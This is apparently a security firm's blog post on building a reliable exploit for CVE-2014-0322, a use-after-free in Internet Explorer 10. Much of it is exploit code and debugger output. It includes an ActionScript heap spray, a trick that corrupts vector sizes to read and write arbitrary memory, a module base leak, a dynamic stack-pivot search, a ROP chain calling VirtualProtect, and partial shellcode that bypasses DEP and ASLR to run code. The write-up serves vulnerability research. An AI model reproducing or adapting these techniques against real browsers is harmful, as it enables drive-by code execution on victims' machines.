Last month FireEye identified a 0-day exploit (now identified as CVE-2014-0322), the code was targeting American military personnel according to the news. This attack was named “Operation Snowman”. This vulnerability is based on a use-after-free in version 10 of Internet Explorer and allows the execution of arbitrary code when a user visits a maliciously crafted website. I found this advisory interesting, and so decided to implement a reliable exploit featuring a DEP & ASLR bypass.
Note: this post is just an abstract of a larger paper that will be published in MISC Magazine due this summer.
According to the exploit code found in the wild and after having simplified it, we can very quickly see that the puIHa3() function below triggers the UaF and takes the control of eax by replacing the freed object.
Indeed, if we do a quick analysis of this crash report:
(df4.aac): Access violation - code c0000005 (!!! second chance !!!) eax=1a1b1ff0 ebx=00508e00 ecx=000000fa edx=05f02580 esi=05f02580 edi=00511420 eip=68929454 esp=0367b75c ebp=0367b7c8 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 MSHTML!Cmarkup::UpdateMarkupContentsVersion+0x16: 68929454 ff4010 inc dword ptr [eax+10h] ds:002b:1a1b2000=????????
We can see that the crash occurs in MSHTML!CMarkup::UpdateMarkupContentsVersion() function because of a use-after-free. In addition to that we can note that edx contains the address of the freed object.
MSHTML!Cmarkup::UpdateMarkupContentsVersion: 68ae943e 8b427c mov eax,dword ptr [edx+7Ch] 68ae9441 40 inc eax 68ae9442 0d00000080 or eax,80000000h 68ae9447 89427c mov dword ptr [edx+7Ch],eax 68ae944a 8b82ac000000 mov eax,dword ptr [edx+0ACh] 68ae9450 85c0 test eax,eax 68ae9452 7403 je MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (68ae9457) 68ae9454 ff4010 inc dword ptr [eax+10h]
In this case, the malicious code has replaced the freed object by a new object, filled with 0x1a1b1ff0 values. Of course, those values aren’t allocated here because we simplified the exploit code for the purpose of explaining the attack vector. In fact UpdateMarkupContentsVersion() tries to increment the content of [eax+10h] which isn’t allocated because [edx+0ACh] takes the value of 0x1a1b1ff0. The freed object type is MSHTML!CMarkup and has a size of 0x340 :
address 05f02580 found in _HEAP @ 480000 HEAP_ENTRY Size Prev Flags UserPtr UserSize – state 05f02298 0069 0000 [00] 05f022a0 00340 - (busy)
This exploitation is a little bit tricky because we can’t take control of the execution flow immediately. We can however add 1 to an arbitrary byte in memory. It’s enough to get control of EIP, then bypass DEP and ASLR. First of all, we need to trigger the vulnerability. I chose to set eax to 0x0ffffff3. At the address 0x10000000, my heap spray will be aligned. However, we need to make the next instructions work. Indeed, after the increment of [eax+10h], some of the object method / attribute addresses are used by the same thread. Thus, it’s important to correctly set those object methods / attributes to avoid crashes.
// asm mov ecx,dword ptr [edx+94h] mov eax,dword ptr [ecx+0Ch] // js fix else if (b.length == (0x94 / 2)) { b += dword2data(0x10000010); } … // asm mov eax,dword ptr [edx+15Ch] mov ecx,dword ptr [eax+edx*8] // js fix else if (b.length == (0x15c / 2)) { b += dword2data(0x42424242); } … // asm mov eax,dword ptr [esi+98h] … mov eax,dword ptr [eax+8] and dword ptr [eax+2F0h],0FFFFFFBFh // js fix if (b.length == (0x98 / 2)) { b += dword2data(0x10000010); }
Secondly, I chose to load a flash application in order to perform the main part of the exploitation. We need to prepare the heap by implementing an aligned heap spray:
this.s = new Vector.<Object>(0xc0c0);
while (len < 0xc0c0)
{
this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
for (index=0; index < this.s[len].length; index++)
{
this.s[len][index] = 0x0c0c0c0c;
}
++len;
}
Doing it this way allows the sprayed heap contents to be properly aligned:
10000000 000003f0 08e33000 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 10000020 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c … 100000c0 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 100000e0 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
Just after this part, we trigger the exploit by calling a JavaScript function from the flash application that will corrupt the size of an ActionScript integer vector. The size will be 0x010003F0 instead of 0x000003F0. This will allow us to rewrite the size of the next sprayed flash vector with 0x3FFFFFFF and thus, have an access to the whole memory space of Internet Explorer 10.
if( this.s[index].length == 0x010003f0 ) { this.s[index][0x1000/4 - 2] = 0x3FFFFFFF; // modify next vector size … }
Before searching for the VirtualProtectStub() address, I leaked the flash module base address. To do that, we can easily get the vtable address of a flash object, bitwise and it with 0xFFFF0000 and then go back to MZ header. From that point, the flash imports are parsed, leading to kernel32!VirtualProtectStub():
00010c00 00004fe0 08e33000 08e27068 15ffc000 16001018 00000010 00000000 16001020 658667c0 00001234 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
Because I wanted to have a generic exploit, I chose to get a stack pivot dynamically by parsing the memory of the flash library so the exploit wouldn’t depend on a given flash version. One just needs to find out 0xC394 (corresponding to xchg eax,esp # ret) in order to do that. Once this is done, we need to build our ROP and shellcode payload. Most of the shellcodes used in this kind of vulnerability are loaded by the exploit from a JPEG picture, I chose to insert mine directly into the heap.
var sh:uint=0x300; … // ROP this.s[index][0] = 0x41414141; this.s[index][1] = 0x41414141; this.s[index][2] = 0x41414141; this.s[index][3] = 0x41414141; this.s[index][4] = virtualprotectaddr; this.s[index][5] = cvaddr+0xC00; this.s[index][6] = cvaddr; this.s[index][7] = 0x1000; this.s[index][8] = 0x40; this.s[index][9] = 0x0d0d0d0d; // Shellcode this.s[index][sh++]=0x0089E8FC; this.s[index][sh++]=0x89600000; this.s[index][sh++]=0x64D231E5; this.s[index][sh++]=0x8B30528B; this.s[index][sh++]=0x528B0C52; this.s[index][sh++]=0x28728B14; this.s[index][sh++]=0x264AB70F; this.s[index][sh++]=0xC031FF31; this.s[index][sh++]=0x7C613CAC; this.s[index][sh++]=0xC1202C02; this.s[index][sh++]=0xC7010DCF; … this.s[index][sh++]=0x00657865;
Finally, we just have to redirect eip to our stack pivot to pop calc.exe :) To achieve this, we can corrupt the pointer to the vtable of a flash object that we control and then trigger any method. In the exploit found in the wild, a Sound() object was used. I also chose to use it but it is possible to use any other object as long as you can control it.
This vulnerability led to a reliable exploit and allows the execution of arbitrary code on Windows 7 SP1, bypassing DEP and ASLR. Bypassing EMET 4.1 becomes interesting at this point. This could be a good subject for a new paper. Stay tuned :)
+33 (0) 970 463 030
contact@hdwsec.fr
Our PGP key
178 Boulevard Haussmann
75008 Paris , FRANCE